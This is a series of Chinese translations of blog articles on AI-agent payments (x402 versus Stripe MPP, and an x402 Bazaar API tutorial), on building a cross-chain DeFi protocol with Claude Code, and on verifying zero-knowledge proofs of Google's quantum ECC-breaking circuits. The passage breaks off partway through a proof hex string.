• x402 安全模型： 支付经过加密签名并在链上结算，提供最终性和透明度。没有退款；一旦支付，即已结算。但反面是：如果代理多付了钱或支付给了恶意端点，没有内置的追索机制。V2 规范（2025 年 12 月）引入了动态支付路由和模块化 SDK，扩展了功能但也引入了新的攻击面。动态路由意味着服务器告诉你的代理把钱发到哪里，如果不验证地址，就可能导致收款方被篡改。模块化 SDK 通过第三方插件引入了供应链风险。生产部署需要：收款方白名单、每个会话和每个代理的预算上限、速率限制、链验证，以及异常支出的监控。像 PaySentry 这样的工具正在涌现以填补这一空白，但该领域仍不成熟。
• Stripe MPP 安全模型： 会话提供内置的消费限额。Stripe 的合规体系（Radar 欺诈检测、PCI、税务）适用于 MPP 支付。SPTs 按商家、时间和金额限定凭证范围，防止代理支出失控。权衡在于对 Stripe 和 Tempo 作为中介的依赖。你信任他们的基础设施，而不是自己构建控制措施。

4.5 生态与采用：现实检验

两种方法背后的机构动力令人印象深刻。但实际使用数据讲述了一个更为克制的故事。

• x402： Coinbase 报告其 Agentic Wallets 基础设施累计处理了超过 5000 万笔交易。然而，链上分析描绘了更微妙的画面：截至 2026 年 3 月初，日交易量约为 131,000 笔交易，价值约 $28,000，平均支付 $0.20。大约一半似乎是测试或游戏化活动，而非真实商业活动。真实的生产用户包括 Neynar（社交数据查询）、Hyperbolic（GPU 推理）和 Token Metrics（加密分析）。x402 基金会（Coinbase + Cloudflare）以及被纳入 Google 的 AP2 倡议提供了强大的机构支持。Stripe 也提供原生 x402 集成，因此商家可以通过现有 Stripe 仪表盘接受 x402 支付。
• MPP： 2026 年 3 月 18 日刚发布几天。Tempo 列出了与 Anthropic、DoorDash、Mastercard、Nubank、OpenAI、Ramp、Revolut、Shopify、Standard Chartered 和 Visa 的合作。发布时支付目录中有超过 100 个服务，包括 Alchemy、Dune Analytics 和 Merit Systems。现在还太早没有有意义的交易量数据，而发布时的"合作"可能意味着从签署意向书到实际生产流量之间的任何程度。

两者都处于早期阶段。基础设施正由严肃的参与者铺设，但大规模的代理支付交易量仍在未来而非过去。

5、混合路径：结合 x402、MPP 和传统计费

对许多团队来说，正确的答案不是单一协议。最务实的架构是针对不同受众使用不同的支付路径：

• x402 用于进行一次性或低频调用的自主代理（无许可、无设置）
• MPP 用于受益于聚合和 Stripe 合规性的高频代理会话
• Stripe 传统 用于需要订阅、发票和仪表盘的人类客户

以下是混合中间件的实际实现方式（伪代码）：

async def authenticate(request):
    # Path 1: Stripe API key (human customer with subscription)
    api_key = request.headers.get("Authorization")
    if api_key and verify_stripe_key(api_key):
        record_stripe_usage(api_key)
        return "stripe_subscription"

    # Path 2: MPP session token (high-frequency agent)
    session = request.headers.get("X-MPP-Session")
    if session and verify_mpp_session(session):
        debit_session(session, tool_price)
        return "mpp"

    # Path 3: x402 payment receipt (autonomous agent, one-off)
    receipt = request.headers.get("X-Payment-Receipt")
    if receipt and verify_onchain(receipt):
        return "x402"

    # Path 4: no credentials; return 402 with payment options
    return Response(
        status=402,
        headers={
            "X-Payment-Amount": "10000",    # 0.01 USDC
            "X-Payment-Token": "USDC",
            "X-Payment-Chain": "base",
            "X-Payment-Address": "0xYourWallet...",
        },
    )

一个中间件，多种验证路径。人类团队获得发票和仪表盘。高频代理获得会话效率。一次性代理获得无许可访问。没有受众被排除在外。

这也是 Stripe 的立场：他们通过独立的集成路径支持 x402、MPP 和传统计费，所有结算都进入同一个商家仪表盘。他们的策略是拥有抽象层，让协议在底层竞争。如果你不想押注单一协议，以 Stripe 作为结算层可以保持你的选择开放。

如果你现在正在构建 MCP 服务器，这意味着：

• x402 是最快的起步方式。 通过 x402-mcp，paidTool 抽象简洁且 MCP 原生。如果你的工具执行离散的、有界的工作（搜索、查询、转换、生成），在每次调用上放置 $0.001 到 $0.01 的价格现在是一条现实的商业化路径，代码量极小。
• 如果你预期高频代理流量，MPP 值得关注。 如果你的 MCP 工具在每个会话中被调用数百次（数据源、监控、持续查询），基于会话的聚合避免了每次调用的区块链开销。Stripe 集成意味着你无需自己构建就能获得合规和欺诈防护。
• 你需要围绕 x402 自行构建运营基础设施。 如何处理退款？监控？失控代理支出的速率限制？密钥管理？这些在 x402 中都是你的问题。MPP 将大部分工作委托给 Stripe。
• 无论哪种方式，定价模式的转变都是真实的。 从订阅转向按请求计费改变了你对产品的思考方式。你不再销售访问权限；你在为单个工作单元定价。这需要了解你每次调用的成本、每次调用的价值，以及不同价格点的需求弹性。这更像是为无服务器函数定价，而不是为 SaaS 席位定价。
• 你的用户需要加密钱包（目前而言）。 x402 需要 Base 或 Solana 上的 USDC。MPP 需要 Tempo 上的 USDC（或通过 SPTs 使用法币）。对于开发者与开发者、代理与代理的场景，这越来越正常。对于主流采用，钱包入驻仍然是一个摩擦点，尽管 Coinbase 等公司的托管钱包解决方案正在缩小差距。

6、x402 和 MPP 常见问题

x402 真的会取代 API 密钥和订阅吗？

不会全面取代，可能也不会很快。x402 在自主的、按需工具访问这一特定场景中消除了对 API 密钥的需求。但订阅的存在是有原因的：它们为提供商提供可预测的收入，为消费者提供可预测的成本。特别是企业买家，重视约定定价和开票。更有可能的是，x402 开辟了一个新的访问层级（随意的、探索性的、代理驱动的），它与现有计费并存而非取代。可以将其理解为按次付费和流媒体订阅之间的关系：不同的消费模式对应不同的模型。

开发者体验在实践中如何比较？

对于按请求 MCP 工具支付这一狭窄场景，x402（通过 x402-mcp）要简单得多。五行服务器代码、一行客户端包装器，你就在收款了。MPP 增加了会话管理，但作为回报提供了 Stripe 的完整技术栈。开发者体验的问题实际上是：你实际需要支付技术栈的多少？如果答案是"按调用收费就行，其余的我自己处理"，x402 胜出。如果答案是"按调用收费加上欺诈防护、税务合规和报告"，MPP 胜出。

自主代理支付的真正安全风险是什么？

核心风险是拥有钱包访问权限的代理可以以机器速度花钱，包括在恶意或定价过高的端点上。对于 x402：V2 的动态路由意味着服务器告诉你的代理把钱发到哪里，如果你不验证地址，就可能导致收款方被篡改。基于会话的身份可能被劫持。模块化 SDK 通过第三方插件引入供应链风险。生产部署需要收款方白名单、每个会话和每个代理的预算上限、速率限制、链验证（防止 Gas 费操纵）以及异常支出模式的监控。MPP 的会话模型通过设计缓解了其中一些问题（内置消费限额、Stripe Radar），但引入了对 Tempo 和 Stripe 作为中介的信任依赖。

监管和税务影响呢？

x402 支付以 USDC 结算，这意味着你收到的是加密货币。根据你所在的司法管辖区，这具有税务报告影响（资本利得处理、收入确认、报告阈值）。如果适用，你还需要自行负责 KYC/AML 合规。x402 目前还没有 IETF RFC，这意味着多个实现可能会碎片化。MPP 通过 Stripe 结算，后者自动处理税务、合规和报告。如果你处于受监管的行业，MPP 在没有原始 x402 合规负担的情况下为你提供了微支付能力。

x402 只适用于加密原生团队吗？

越来越不是了。协议本身与支付网络无关，设计上将在未来支持非加密支付方式。但今天，生产实现在 Base 或 Solana 上的 USDC 中结算。Coinbase 等公司的托管钱包解决方案正在降低加密知识门槛，Stripe 自己的 x402 预览意味着你可以使用熟悉的 Stripe 工具接受 x402 支付。话虽如此，如果你的团队完全没有加密经验，预计在钱包管理、密钥安全和链上监控方面会有学习曲线。MPP 可能是更容易的入门路径，因为它将加密货币包装在 Stripe 熟悉的界面中。

x402 和 MPP 之外的竞争格局如何？

Google 的 AP2（Agents Payment Protocol）使用基于授权的系统，用户以细粒度控制委派消费权限。Visa 和 Mastercard 正在开发自己的代理支付标准，并计划使其成为 AI 代理交易的强制要求。学术研究（例如 2026 年 3 月的 A402 论文）正在提出更复杂的基于通道的协议，以解决 x402 的原子性限制。该领域仍处于早期和碎片化阶段；预计会有整合，但也预计 x402 的开放性和 MPP 的 Stripe 背书将使两者保持相关性。

采用程度有多真实？我应该等待吗？

交易量仍然很小。截至 2026 年 3 月初，x402 的日链上活动约为 131,000 笔交易，价值约 $28,000，其中相当一部分是测试活动。MPP 几天前刚发布；现在还没有真实数据。但基础设施正由严肃的参与者铺设（Coinbase、Cloudflare、Stripe、Tempo、Google、Visa）。问题不在于代理支付是否会变得重要；而在于何时。从 x402 开始成本低、承诺少（几行代码、一个钱包地址）。你可以随着需求的发展叠加 MPP 或传统 Stripe。当代理到来时做好准备几乎没有坏处。

7、结束语

截至 2026 年 3 月，代理支付领域有两种专用协议在不同的优势上竞争：

• x402 是最简单、最开放、最无许可的选择。适用于：按请求微支付、自主代理访问、无供应商锁定的架构，以及愿意自行管理安全和合规的团队。
• Stripe MPP 是内置企业合规的高吞吐量选择。适用于：高频代理会话、混合法币 + 加密支付，以及希望获得 Stripe 的欺诈检测、税务处理和报告而无需自行构建的团队。

这两者并不互斥。Stripe 通过不同的集成路径支持两者（加上传统计费），结算到同一个仪表盘。最有远见的团队会像对待计算基础设施一样对待支付协议选择：为每个工作负载选择合适的工具，并设计系统以支持不止一种。

代理支付的未来不是一个协议统治一切。它是一个分层模型，最优秀的团队会像选择技术栈中的其他一切一样慎重地选择支付基础设施。

原文链接: x402 vs. Stripe MPP: How to choose payment infrastructure for AI agents and MCP tools in 2026

DefiPlot翻译整理，转载请标明出处

大多数 API 市场仍然假设有人类参与其中——创建账户、添加银行卡、生成密钥、管理用量。这些摩擦是你的 AI 代理无法处理的。

Bazaar + x402 颠覆了这种模式。你的代理可以发现服务、收到带有支付详情的 HTTP 402（需要付费）响应、进行支付（通常使用 Base 上的 USDC）、携带支付证明重试相同的请求，然后 API 响应——无需账户，无需订阅。

在本文结束时，你将拥有一个可运行的演示，展示完整的端到端流程：列表 → 发现 → 402 → 支付 → 重试 → 使用。

1、你将构建什么

• 🧭 发布一个最小的 Bazaar 风格的列表，让你的代理可以发现
• 💳 模拟 x402 支付流程（HTTP 402 → 协调器结算 → 支付证明）
• 🔁 携带支付证明重试相同的请求，获取 付费 响应
• 🧪 所有操作在一个可在本地运行的 Node.js 脚本中完成

2、系统架构

Agent (buyer) ──> Bazaar catalog ──> Service endpoint
    │                                   │
    │ (Request)                          │ If unpaid:
    │──────────────────────────────────> │  returns HTTP 402 + payment details
    │                                    │
    │ --pay via Facilitator------------> Facilitator (verifies/settles, returns proof)
    │                                    │
    │ (Retry + proof header)            │
    └──────────────────────────────────> │ Returns the result

组件（快速概览）

• Bazaar：简单的发现层，返回包含名称、价格、资产、网络的列表信息。
• Service（服务）：你的 API 端点，要求按请求付费。如果未支付，它会返回 HTTP 402 和支付详情。
• x402 Facilitator（协调器）：验证/结算客户端的支付，并颁发你的服务可以信任的支付证明。
• Agent（代理）：一个精简的买方脚本，负责发现服务、调用服务、处理 402、通过协调器支付、携带证明重试并打印结果。

3、实现阶段

代码将分为两部分：卖方和买方。

3.1 项目设置

mkdir x402-baazar
cd x402-baazar

npm init -y

3.2 安装依赖

npm i @coinbase/cdp-sdk @coinbase/x402 dotenv express viem x402-express x402-fetch

我们将首先构建一个简单的石头-纸-剪刀端点。然后，我们将把它与 x402 集成，使每个请求都可以付费，并提供必要的配置以便在 Bazaar 中列出服务。创建一个名为 index.js 的文件。

3.3 使用 Express 设置端点

import express from "express";

const moves = ["rock", "paper", "scissors"];

function getOutcome(player, server) {
  if (player === server) return "draw";

  if (
    (player === "rock" && server === "scissors") ||
    (player === "paper" && server === "rock") ||
    (player === "scissors" && server === "paper")
  ) {
    return "win";
  }

  return "lose";
}

const app = express();
app.use(express.json());

app.post("/rps/play", (req, res) => {
  try {
    const { move } = req.body;

    if (!move || !moves.includes(move)) {
      res.status(400).send({
        error: "Move must be rock, paper, or scissors"
      });
      return;
    }

    const serverMove = moves[Math.floor(Math.random() * moves.length)];
    const outcome = getOutcome(move, serverMove);

    res.send({
      playerMove: move,
      serverMove,
      outcome
    });

  } catch (err) {
    res.status(500).send({ error: "Internal server error" });
  }
});

app.listen(4021, () => {
  console.log(`Server listening at http://localhost:4021`);
});

现在为上述端点设置 x402 和 Bazaar 所需的配置

// … existing imports
import { paymentMiddleware } from "x402-express";
import { facilitator } from "@coinbase/x402";

// after `app.use(express.json())`

app.use(
  paymentMiddleware(
    "0xB1De43C2Ca1195258FEE160adAcB1820c3776B7D",
    {
      "POST /rps/play": {
        price: "$0.001", // USDC testnet price
        network: "base",
        config: {
          name: "Rock-Paper-Scissors",
          description: "Pay to play a simple game of Rock-Paper-Scissors.",
          discoverable: true,
          inputSchema: {
            type: "object",
            properties: {
              move: {
                type: "string",
                enum: ["rock", "paper", "scissors"],
                description: "Your move"
              }
            },
            required: ["move"]
          },
          outputSchema: {
            type: "object",
            properties: {
              playerMove: { type: "string" },
              serverMove: { type: "string" },
              outcome: { type: "string" }
            }
          }
        }
      }
    },
    {
      facilitator
    }
  )
);

// before `app.post("/rps/play"…`

paymentMiddleware 将 x402 作为 Express 中间件集成到本项目中（在这里了解更多关于 Express 中间件的信息）。

它接受两个参数：

1. 收款地址 — 接收该端点付款的钱包地址。
2. Bazaar 配置 — 描述你在 Bazaar 目录中服务元数据，使 AI 代理可以发现它。

配置中的 discoverable 标志设置为 true，这确保你的 API 会自动列在 Bazaar 目录中。

注意：要使你的 API 可被 Bazaar 索引，你必须将其部署到公有云（例如 Railway、AWS 等），并确保它可以被公开访问。

接下来，让我们创建一个模拟买方的简单函数：

• 它查询 Bazaar 目录以列出可用的服务。
• 选择我们的石头-纸-剪刀服务。
• 在每次请求时支付 USDC 来玩游戏。

现在创建另一个名为 buyer.js 的文件，从列出目录开始：

const listCatalog = async () => {
  const response = await fetch(
    "https://api.cdp.coinbase.com/platform/v2/x402/discovery/resources"
  );

  const res = await response.json();
  console.log(res);
};

const run = async () => {
  const catalog = await listCatalog();
};

run();

这将返回一个对象数组：

{
 "items": […]
}

现在我们有了服务列表，在发起调用之前还需要设置一些前置条件：

钱包设置 — 我们需要一个钱包来支付服务费用。最快的选择是使用 CDP 钱包，它将所有复杂性抽象为两行代码。或者你也可以使用自己的钱包，但需要自己处理完整的 viem 配置。

发起 API 调用 — 有两种方式：

• 手动方式：使用 fetch 或 axios 调用 API，收到 402 Payment Required 响应，进行支付，然后重试。
• 自动方式：使用 CDP 封装的 fetch 或 axios，它们会自动处理整个支付流程。

在本教程中，我们将使用 x402-fetch 来封装 fetch。

import { CdpClient } from "@coinbase/cdp-sdk";
import dotenv from "dotenv";
import {
  wrapFetchWithPayment,
  decodeXPaymentResponse
} from "x402-fetch";

dotenv.config();

// Setup CDP account or bring your own wallet
const cdp = new CdpClient();
const cdpAccount = await cdp.evm.getAccount({
  name: "buyer-account"
});

// feel free to enable this in testnet, perks for using CDP 😅
// await cdp.evm.requestFaucet({
//   address: cdpAccount.address,
//   network: "base-sepolia",
//   token: "usdc"
// });

// providing x402 super power to our good old `fetch`
const fetchWithPayment = wrapFetchWithPayment(fetch, cdpAccount);

// … previous listCatalog function

const run = async () => {
  try {
    const catalog = await listCatalog();

    // choosing a service, assuming that it's our RPS API
    const service = catalog.items[0];

    const response = await fetchWithPayment(service.resource, {
      method: "POST",
      headers: {
        "Content-Type": "application/json"
      },
      body: JSON.stringify({ move })
    });

    const result = await response.json();
    console.log("Game result:", result);

    const paymentResponse = decodeXPaymentResponse(
      response.headers.get("x-payment-response")
    );

    console.log(paymentResponse);
  } catch (error) {
    console.log(error);
  }
};

run();

使用 fetchWithPayment 可以确保当 API 返回 402 Payment Required 时，支付会被自动处理并且请求会自动重试——因此你无需自己管理支付流程即可获得结果。

4、运行应用

卖方

node index.ts

买方

node buyer.js

你将看到：

1. 服务器启动
2. 买方发现服务
3. 第一次调用返回 HTTP 402 及支付详情
4. 测试网协调器颁发收据
5. 携带 X-PAYMENT 头重试
6. 服务器返回有效响应

5、从演示到生产环境的映射

• Bazaar UI 和目录：在生产环境中，这是一个带有评分、定价、延迟和网络信息的托管目录。你的代理会选择匹配预算和政策约束的服务提供商。
• x402：模式完全相同——服务对未支付请求返回 402，代理通过协调器完成结算，然后携带支付证明头重试完全相同的 HTTP 请求。
• 协调器：在生产环境中，你会使用 Coinbase 的默认协调器处理 Base 上的 USDC（或者运行自己的协调器/选择社区协调器）。它的职责是：验证支付并颁发你的服务可以信任的支付证明。
• 服务：你的 API 应该将 402 视为一份合约：明确指定金额、资产、网络、卖家和协调器 URL，然后在重试时验证协调器的支付证明后再返回数据。

6、加固与扩展

• 重放保护：将支付证明绑定到 paymentRequestId + 方法 + 路径 + 查询参数，并设置快速过期。注意：CDP 协调器默认设计已考虑这一点——提供 60 秒的支付和重试窗口。
• 分级响应：提供免费预览，对高分辨率/长时间运行收费。
• 动态定价：在 402 响应体中根据输入大小（如音频秒数、token 数）报价。
• 服务提供商切换：你的代理可以比较评分/价格/延迟，在工作流中途切换提供商，继续执行。
• 链上收据：包含交易哈希和协调器证明，将链下工作与链上支付锚定。

7、结束语

你刚刚运行了一个完整的、对代理友好的 Bazaar + x402 循环：发现服务，调用并收到 402 Payment Required 状态，通过协调器支付，携带证明重试，并获得付费结果——无需账户，无需订阅，按请求付费。

原文链接: Ship a 402-Powered API Bazaar with x402 — From Discovery to Paid Response in One Script

DefiPlot翻译整理，转载请标明出处

我一直在听到一种无休止的论调，说AI正在催生新一代"10倍开发者"。说实话，我想看看这是真有其事，还是只是为了搭建React组件和构建简单UI包装器而制造的营销噱头。当你在受控环境中生成可预测的脚本时，很容易看起来像一位魔法师。但在去中心化金融领域，合约托管的是真实价值。执行跨越多个链，状态是碎片化且异步的，失败不仅仅是孤立的控制台错误。它们会恶意地跨系统边界级联传播。我需要知道AI是否真的能帮助构建在对抗性、跨链现实中存活的系统。

1、我构建了什么

为了测试这一点，我坐下来构建了一个跨链兑换协议。我设计了两条执行路径：通过Uniswap V3路由的同链兑换，以及利用LayerZero消息传递的跨链兑换。架构很重，依赖几个核心组件：

• 路由合约： 决定执行路径的主要入口点。
• 金库合约： 处理托管和协议记账。
• 费用模块： 管理协议级别的计算和分配。
• 桥接适配器： 直接与LayerZero端点交互。

我实现的一个简化的路由函数看起来像这样：

function executeSwap(
    address tokenIn,
    address tokenOut,
    uint256 amount,
    uint16 dstChainId,
    bytes calldata payload
) external payable {
    if (dstChainId == block.chainid) {
        _swapLocal(tokenIn, tokenOut, amount);
    } else {
        _swapCrossChain(tokenIn, tokenOut, amount, dstChainId, payload);
    }
}

这个抽象看起来很简洁。但很快我就会意识到，确保这两条路径的正确性完全是另一回事。

2、18小时的现实检验

一个这种规模的系统通常需要经验丰富的区块链工程师80到150小时才能搞定。这包括推理消息顺序、追踪边缘案例，以及处理分布式状态幽灵。使用Claude Code，配合完整的代码库上下文，我在大约18小时内就完成了端到端的构建。

让我描述一下在第14小时左右击中我的现实检验。是的，代码写完了，但我突然感受到一种沉重的认知负担——推理完全落在我的肩上。我感觉自己有一个高速打字员，可以以光速输出Solidity代码，但根本上不理解他们正在构建的世界的物理规律。

当我开始审计流程时，我发现了26个关键问题。我们谈论的是低效的状态更新、对非标准ERC20代币的灾难性假设、薄弱的访问控制，以及完全搞砸的跨链失败状态。每一个问题都需要手动检查、对跨链状态转换的显式推理，以及有针对性的修复。这是一个清醒的时刻。AI压缩了打字时间，但它并没有简化问题。

3、"高速打字员"表现出色的地方

公平地说，Claude在确定性任务的执行层表现出色。它快速完成了搭建继承结构和设置OpenZeppelin库的工作。如果我需要安全代币转账的标准实现或解码复杂载荷调用数据，它都能完美交付。

using SafeERC20 for IERC20;

function _safeTransfer(address token, address to, uint256 amount) internal {
    IERC20(token).safeTransfer(to, amount);
}
function _decodePayload(bytes calldata payload)
    internal
    pure
    returns (address token, uint256 amount)
{
    return abi.decode(payload, (address, uint256));
}

对于零歧义的明确定义问题，AI是一个强大的工具。它出色地处理这些局部的、有界约束的问题。

4、挣扎：我的提示词进化

我的整个工作流程依赖Claude Code，而我遇到的最大的摩擦点是我自己的提示词的进化。我一开始很随意，抛出一些以实现为驱动的指令，比如"写一个LayerZero接收合约"，或"实现跨链兑换逻辑"。Claude照做了，快速吐出了功能代码。但它非常脆弱。它针对的是完成提示，而不是在主网上存活。

当我撞上一堵巨大的墙时，Claude完全遗漏了一个fee-on-transfer边缘案例，这个案例最终会让我们的金库失血。我意识到我的提示词必须进化成严格的系统级指令。我不再要求"一个路由"，而是开始要求"在实现这个时假设跨链消息传递会被延迟、重新排序或完全失败。使用消息标识符确保幂等执行，并处理非标准rebase代币。"这种转变大大改善了输出，但它证明了一个根本性的限制。Claude对约束反应良好，但它不能独立推断它们。它缺乏对系统的全局理解，所以它的初始修复总是局部的而非架构性的。

5、逻辑崩溃的地方

当问题从编写孤立函数转向定义系统行为时，真正的局限性显露无遗。AI根本没有模拟跨链失败场景。它在应该使用内存时默认使用存储写入，生成不完整的访问边界，并完全忽略幂等性。

例如，Claude最初生成了一个非常天真的LayerZero接收器：

function lzReceive(...) external {
    _execute(payload);
}

我不得不强制它将执行包装在try/catch块中，以确保单个失败的消息不会永久阻塞通道：

mapping(bytes32 => bool) public processed;

function lzReceive(bytes32 messageId, bytes calldata payload) external {
    require(!processed[messageId], "Already processed");

    try this._execute(payload) {
        processed[messageId] = true;
    } catch {
        // 存储以供重试或手动干预
    }
}

同样，它完全忽略了fee-on-transfer机制，假设amountIn总是等于amountReceived。我必须手动强制执行正确的记账：

uint256 balanceBefore = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = IERC20(token).balanceOf(address(this));

uint256 actualReceived = balanceAfter - balanceBefore;

这些不是可选的重构。它们是协议正确性的生存要求。AI就是看不到它们。

6、前端的对账混乱

复杂性不会在EVM边界处停止。在跨链系统中，前端不仅仅是一个闪亮的表现层。它是一个疯狂的状态对账引擎。它必须追踪跨链的交易生命周期，而没有任何确定性的完成保证。我必须显式地建模：

type CrossChainTxState =
    | { status: "INITIATED"; txHash: string }
    | { status: "SOURCE_CONFIRMED"; blockNumber: number }
    | { status: "MESSAGE_DISPATCHED"; messageId: string }
    | { status: "IN_FLIGHT"; relayer: string }
    | { status: "DEST_EXECUTED"; destTxHash: string }
    | { status: "FAILED"; reason: string };

我最终构建了一个强大的轮询装置来查询源链、中继器和目标链，只是为了防止UI在飞行中继期间对用户撒谎：

async function trackCrossChainTx(txHash: string) {
    const sourceTx = await sourceProvider.getTransactionReceipt(txHash);
    if (!sourceTx) return { status: "INITIATED" };

    const messageId = extractMessageId(sourceTx.logs);
    const relayStatus = await relayerApi.getStatus(messageId);

    if (relayStatus === "PENDING") {
        return { status: "IN_FLIGHT" };
    }

    if (relayStatus === "DELIVERED") {
        const destTx = await destProvider.getTransaction(relayStatus.destTxHash);
        return { status: "DEST_EXECUTED", destTxHash: destTx.hash };
    }

    return { status: "FAILED", reason: relayStatus.error };
}

如果你搞错了这个分布式状态追踪，你会瞬间失去用户信任，无论你的智能合约多么完美。

7、安全需要意图

归根结底，安全需要对抗性意图。AI可以给你一个完美的重放保护修饰符。

mapping(bytes32 => bool) public executed;

function execute(bytes32 txId) external {
    require(!executed[txId], "Replay detected");
    executed[txId] = true;
}

实现很简单，但AI根本不知道这个模式应该放在哪里。识别跨合约边界的攻击面以及推理信任假设仍然完全是人类的工作。AI减少了产生工作代码的时间，但它没有减少让代码可靠所需的哪怕一分钟时间。

8、我的收获：向系统架构师的转变

当我终于在那艰苦的18小时冲刺后离开我的IDE时，我带着一个来之不易的教训离开。这个实验证明，我们的工作正在深刻改变。AI消除了编写代码的摩擦，但它极大地放大了系统设计的重要性。

我的角色从"逻辑实现者"大幅转变为"系统架构师"。我不再只是在写代码了。我在积极验证假设，并在能够打字快但无法提前思考的机器上强制执行架构边界。如果你在DeFi或任何高风险分布式环境中构建，AI会让你变得更快。但正确性的负担仍然完全落在你肩上。

原文链接: From 150 Hours to 18: How AI Helped Me Build a Cross-Chain DeFi Protocol 8x Faster

DefiPlot翻译整理，转载请标明出处

我写这篇文章的主要动机是帮助读者理解如何解读量子计算领域的论文，特别是随着该领域变得更加主流，各种耸人听闻的说法广泛传播时。

在一份新的白皮书中，Google量子AI、斯坦福大学和以太坊基金会的研究人员开发了更小、资源消耗更少的量子电路，即运行在量子计算机上的程序，能够破解椭圆曲线密码学(ECC)。

解决256位椭圆曲线离散对数问题（椭圆曲线密码学ECC的数学基础）所需的逻辑量子比特（量子计算单元）和Toffoli门（计算操作）数量的对比。Google量子AI团队提出的电路在一个设计中减少了84%的逻辑量子比特，在另一个设计中大约减少了73%的门数量。白皮书第8页。

这很重要，因为现在估计在功能较弱的量子计算机上运行较少的时间就能破解ECC，这是一种广泛使用的加密方案，保护着互联网和数字协议的大部分内容。

同样值得注意的是，研究团队没有公开发布量子电路，而是使用了零知识证明来验证电路而不披露其内容。

零知识证明（zk证明）是一种密码学方法，一方可以向另一方证明某件事是真实的，而无需透露任何信息。

那么我们如何验证这些量子电路确实存在呢？

本文解释了这些电路，并专注于回答这个确切的问题：如何独立验证这些zk证明，并确认这些"私有"量子电路确实存在。

1、为什么要使用零知识证明

业界领袖强调越来越多地使用zk证明来保护重要的量子电路，强调理解和验证它们的必要性。

这暗示了一个新兴趋势：研究人员希望将电路商业化，或者将其保密，或者面临政府压力要求不向恶意行为者公开。

白皮书指出他们不会公开发布电路，这与以前的研究人员不同，因为一旦实用的量子计算机可用，恶意行为者可能会利用它们：

然而，详细的密码分析蓝图可能被敌对行为者武器化的风险不断升级，这 necessitates 改变披露做法。

Justin Drake，白皮书合著者、以太坊基金会研究员，暗示更有价值、更重要的电路将保持未发布状态：

从现在起，假设最先进的算法将被审查。可能出于道德或商业原因进行自我审查，或因为政府压力。学术出版物的 blackout 将是一个明显的迹象。

Nic Carter，比特币主要投资者、Castle Island Ventures联合创始人，将zk证明的使用比作原子弹开发过程中核研究的保密：

这[使用零知识证明隐藏Google量子AI的量子电路]让人想起原子弹开发前物理学界发生的事情。1940年，美国国家科学院自愿采用了自我审查制度。一旦曼哈顿计划开始，所有正式出版物都停止了。1945年7月，第一颗裂变炸弹在新墨西哥州白沙导弹靶场引爆。

随着更多研究人员采用zk证明来隐藏但"证明"特定量子电路的存在，理解如何验证它们变得至关重要。

2、Google的量子电路意味着什么

Google量子AI研究人员提供了两个能够破解ECC的量子电路的元数据。

如果一个电路能够解决9,024个具有不同起始点输入的椭圆曲线点加法问题，则被认为能够破解ECC。

给定椭圆曲线上的两个起始点P和Q，电路可以找到第三个点(-R)，其中通过P和Q的直线与曲线相交。然后，它通过将点(-R)沿x轴反射来计算点R。R被表示为P和Q的和或加法。

用更直接的数学术语来说：

在椭圆曲线secp256k1[比特币使用的椭圆曲线类型]上正确计算所有9,024个伪随机输入的点加法，这些输入是确定性地从电路自身的哈希值派生出来的

计算点R的示例。在椭圆曲线中，通过两点（P和Q）的直线总是与曲线再次相交于第三个（也是唯一第三个）点（R）。通过将点(-R)沿x轴反射来计算点R，得到R = P + Q。来源：NordPass

大多数椭圆曲线不如这个示例那样均匀，对于日常的经典计算机来说，第三个点在哪里并不明显，这使得ECC传统上对于加密数字数据非常安全，如本视频所解释的：

因此，解决9,024个这样的问题并非易事。如Google量子AI研究人员声称的那样，能够解决9,024个实例的量子电路表明它能够可靠地执行完整ECC攻击所需的椭圆曲线运算。

Google量子AI提供了满足此标准的两个电路的详细信息；每个电路针对不同的目标进行了优化。

1. 第一种方法使用更少的量子比特，或量子计算单元，使其更适合硬件限制。
2. 第二种使用更少的门或计算操作，使其更适合运行时性能。

拥有针对不同目标优化的两个电路允许它们在更适合特定任务（如硬件或性能）的各种类型的量子计算机上运行。

3、电路元数据

尽管这些量子电路比其他能够破解ECC的电路需要的资源少70-80%，但它们仍然太大而无法作为程序在量子计算机上运行。它们的性能仍然基于理论假设，尽管不应该被忽视。

显示破解RSA-2048（一种流行的加密方案）所需估计值的图表，作为物理量子比特数量（左）的函数，即用于保护逻辑量子比特的原始硬件量子比特，以及[Toffoli门](http://A graph showing the published estimates needed to break RSA-2048, a popular cryptographic scheme, with the number of physical qubits (left) and number of Toffoli Gates (right).)数量（右），特定的量子逻辑操作。白皮书第10页。

电路元数据包括非Clifford门的数量，即通用量子计算所需的操作，以及逻辑量子比特的数量，即在被许多周围物理量子比特保护免受噪声和错误的同时执行计算的量子比特。

具有更少量子比特的量子电路，或"低量子比特量子电路"，包括：

• 2,700,000个非Clifford门
• 1,175个逻辑量子比特

具有更少门的量子电路，或"低门数量子电路"，包括：

• 2,100,000个非Clifford门
• 1,425个逻辑量子比特

4、验证元数据

零知识证明是如何创建的

为每个量子电路生成了一个零知识证明，产生了三个用于验证其元数据的标识符。

以下是白皮书中提出的低量子比特量子电路的标识符：

Circuit SHA-256 Hash:
0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a

Verification Key:
0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4

Groth16 Proof Bytes:
0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a
324528d315674da45d26afb376e86700000000000000000000000000000000000000000000000000000000000000000215c7fe4fc59
7b861d82370ab556684ae36e98cf073e7f754f2788ad58721dbd012927516f316e7b4f3effb1dbd567732611cb0334f2d75e529c5e3
becd0629c17605c7ff87c6f23324328744454bdec0df425a4a63e3358c10079c85ef757412ae86ae1f85bf47ef6980852d6f65423be
2d90adb5b29896493324128b1cda0a0042f7138c850a1ca441210ba770a2eee39d56f6f90bf68b7a346e1658c6529715334621b6e1a
63b85875b8c8a610e0d885662879755803027dad57d97140afb2498bbb63215b236575f95b0019f2b9713bc810e1e044d47ab360e92
b899c46512fc97460609186bf1fe01c892a8015fb00e7fdea11b08f88c6adb79b1243518

以及低门数量子电路的标识符：

Circuit SHA-256 Hash:
0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69

Groth16 Proof (Hex):
0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a
